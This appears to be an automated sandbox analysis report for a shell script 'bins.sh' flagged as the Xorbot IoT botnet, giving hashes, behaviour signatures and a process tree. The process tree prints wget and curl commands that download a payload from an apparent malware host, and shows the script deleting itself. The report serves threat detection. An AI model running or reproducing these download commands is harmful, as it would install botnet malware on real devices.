Analysis
-
max time kernel
150s -
max time network
149s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
-
submitted
30/11/2024, 11:12
General
-
Target
bins.sh
-
Size
10KB
-
MD5
2beb59e203938270db6b82eab52dd03d
-
SHA1
35e3c0fd27b49a8b6d6c9b0d468410fb665390ed
-
SHA256
d38975b85e9a377fb5888ec13ae88837f64d91593d1580f96e99ebec92df078e
-
SHA512
5c0184e144326c5d79acf8da8fd7a96b83660dc607e1648cf2b2f4337255bd64c9cd0f7f03368091b8bcd6098021b6a105c0befac45e036d7a0c034938c72628
-
SSDEEP
192:n+1Mg4ZFevfy3/2NpJp9pd0n//qOquqrqCbqQqfs4vMgGZFevfK3/2NpZpd0n/lg:+xpys4cQ
Malware Config
Signatures
-
Detects Xorbot 1 IoCs
-
Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
-
Xorbot family
-
Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
-
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
-
/bin/rm/bin/rm bins.sh2⤵
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC2⤵
- Reads runtime system information
- System Network Configuration Discovery
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801